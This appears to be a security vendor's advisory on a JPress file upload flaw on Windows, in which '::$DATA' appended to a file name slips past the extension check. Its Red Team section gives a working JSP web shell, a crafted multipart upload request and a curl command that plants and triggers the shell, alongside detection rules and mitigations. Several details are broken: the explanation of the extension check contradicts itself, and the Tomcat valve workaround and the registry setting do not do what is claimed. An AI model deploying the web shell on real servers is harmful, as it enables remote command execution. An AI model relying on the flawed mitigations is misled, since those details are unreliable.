CVE-2024-43033

Executive Summary

CVE-2024-43033 is a critical arbitrary file upload vulnerability affecting JPress versions up to 5.1.1 on Windows operating systems. The flaw resides in the AttachmentController class, specifically in the upload method at io.jpress.web.commons.controller.AttachmentController#upload. By appending ::$DATA to a file extension (e.g., .jsp::$DATA), an attacker can bypass file type validation and upload a malicious JSP file. On Windows, the ::$DATA alternate data stream (ADS) syntax is stripped during file creation, resulting in a standard .jsp file being written to the server. This allows for remote code execution (RCE) with the privileges of the web server process. The vulnerability is distinct from CVE-2024-32358 and has no known patch. Public proof-of-concept (PoC) code exists, making this a high-priority threat for any organization running JPress on Windows.

Supply Chain & Package Security

JPress is a Java-based content management system (CMS) distributed as a standalone WAR or JAR file. It is not typically distributed via package managers like Maven Central for direct application deployment, but its dependencies (e.g., Spring, JFinal) are. The vulnerability is in the application code itself, not in a third-party library. However, organizations should verify the integrity of their JPress distribution and monitor for any updates from the vendor. Since no patch exists, the only supply chain mitigation is to replace the vulnerable component or implement a WAF rule.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required; the exploit is straightforward.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The attacker does not need to trick a user.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file system read access.
• Integrity Impact: High (I:H) – Arbitrary file write leads to code execution.
• Availability Impact: High (A:H) – An attacker can disrupt service or execute commands.

Threat Level: Critical. The combination of no authentication, low complexity, and public PoC makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability exploits a Windows-specific feature: Alternate Data Streams (ADS). In Windows NTFS, every file can have multiple data streams. The syntax filename:stream_name accesses a named stream. When ::$DATA is appended to a filename, it refers to the default data stream. However, during file upload processing, many Java frameworks (including JPress) validate the file extension by checking the string after the last dot. For a filename like shell.jsp::$DATA, the extension is jsp::$DATA, which may pass validation if the filter only checks for .jsp or .jspx. When the file is written to disk, Windows strips the ::$DATA part, resulting in a file named shell.jsp with the uploaded content.

The vulnerable code is in AttachmentController.java:

// Vulnerable snippet (simplified)
public void upload() {
    UploadFile file = getFile();
    String ext = FileUtils.getExtension(file.getFileName());
    if (!allowedExtensions.contains(ext)) {
        renderError(403);
        return;
    }
    // Save file to disk
    file.save(new File(uploadDir, file.getFileName()));
}

The getExtension method likely splits on the last dot and returns the substring after it. For shell.jsp::$DATA, it returns jsp::$DATA. If the allowed extensions list includes jsp but not jsp::$DATA, the check fails. However, if the list is too permissive (e.g., allows jsp and jsp::$DATA is not explicitly blocked), or if the check is case-insensitive and ::$DATA is ignored, the file passes. The actual write operation uses the original filename, and Windows creates shell.jsp.

Vulnerable vs. Patched Code

Vulnerable Code (JPress <= 5.1.1):

// AttachmentController.java
public void upload() {
    UploadFile file = getFile();
    String ext = FileUtils.getExtension(file.getFileName());
    if (!allowedExtensions.contains(ext)) {
        renderError(403);
        return;
    }
    // Directly uses original filename
    File dest = new File(uploadDir, file.getFileName());
    file.save(dest);
}

Patched Code (Hypothetical Fix):

// AttachmentController.java (patched)
public void upload() {
    UploadFile file = getFile();
    // Sanitize filename: remove ADS syntax
    String safeFileName = file.getFileName().replaceAll("::\\$DATA", "");
    String ext = FileUtils.getExtension(safeFileName);
    if (!allowedExtensions.contains(ext)) {
        renderError(403);
        return;
    }
    // Use sanitized filename
    File dest = new File(uploadDir, safeFileName);
    file.save(dest);
}

The fix must strip ::$DATA (and other ADS syntax like :stream) from the filename before extension validation. Additionally, the final saved filename should be sanitized to prevent path traversal and ADS injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• JPress 5.1.1 running on Windows (IIS or Tomcat).
• Network access to the /attachment/upload endpoint.

Exploit Steps:

1. Craft a malicious JSP file (e.g., cmd.jsp) that executes system commands:

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

2. Rename the file to cmd.jsp::$DATA (the ::$DATA is appended to the extension).

3. Send a multipart POST request to the upload endpoint:

   POST /attachment/upload HTTP/1.1
   Host: target.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="cmd.jsp::$DATA"
   Content-Type: application/octet-stream
   
   <JSP payload here>
   ------WebKitFormBoundary--
   

4. Access the uploaded shell at http://target.com/attachment/cmd.jsp?cmd=whoami.

Automation with cURL:

curl -X POST -F "file=@cmd.jsp;filename=cmd.jsp::$DATA" http://target.com/attachment/upload

Blue Team

Detection:

• Monitor for filenames containing ::$DATA in upload requests.
• Look for JSP files being created in the attachment directory.
• Use file integrity monitoring (FIM) to detect new .jsp files in unexpected locations.

Honeypot:

• Deploy a fake JPress instance and log all upload attempts.
• Alert on any request with ::$DATA in the filename.

Mitigation:

• Block ::$DATA in filenames at the WAF level.
• Disable ADS creation on the web server (e.g., set HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisableLastAccessUpdate to 1, though this does not fully prevent ADS).
• Move JPress to a Linux server where ADS is not supported.

Indicators of Compromise (IOCs)

• File Artifacts: Unexpected .jsp files in /attachment/ or /upload/ directories.
• Network Traffic: POST requests to /attachment/upload with filenames containing ::$DATA.
• Log Entries: Access logs showing cmd.jsp?cmd= or similar command execution patterns.
• Process Creation: cmd.exe or powershell.exe spawned by the Java process (Tomcat/IIS worker).
• Registry Changes: (If exploited on IIS) Potential modifications to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.

Detection Engineering

YARA Rule

rule CVE_2024_43033_JPress_ADS_Upload {
    meta:
        description = "Detects JPress arbitrary file upload via ADS syntax"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-43033"
    strings:
        $ads_pattern = /\.(jsp|jspx|php|asp|aspx)::\$DATA/i
        $jpress_upload = "AttachmentController" nocase
        $multipart = "multipart/form-data" nocase
    condition:
        $ads_pattern and ($jpress_upload or $multipart)
}

Sigma Rule

title: JPress Arbitrary File Upload via ADS (CVE-2024-43033)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with filenames containing ::$DATA to JPress upload endpoints
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: "::$DATA"
        cs-uri-stem|contains: "/attachment/upload"
    condition: selection
falsepositives:
    - Legitimate use of ADS in filenames (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43033 JPress ADS File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/attachment/upload"; http_uri; content:"::$DATA"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads in JPress if not required.
2. Apply a WAF rule to block filenames containing ::$DATA or :stream.
3. Restrict upload directory to non-executable permissions (e.g., remove execute permission for the web server user on the upload folder).

Long-Term Fix:

• Vendor Patch: Await an official patch from JPress. Monitor their GitHub repository or website.
• Code Fix: Manually patch AttachmentController.java to sanitize filenames by stripping ::$DATA and other ADS syntax before validation.
• Platform Migration: Move JPress to a Linux server where ADS is not a concern.

Workaround:

• Configure the Java application server (Tomcat) to reject filenames with colons:

  <Context path="/jpress" >
      <Valve className="org.apache.catalina.valves.RequestFilterValve"
             allow=".*" deny=".*::\$DATA.*" />
  </Context>
  

Valters IT – Securing digital frontiers, one CVE at a time.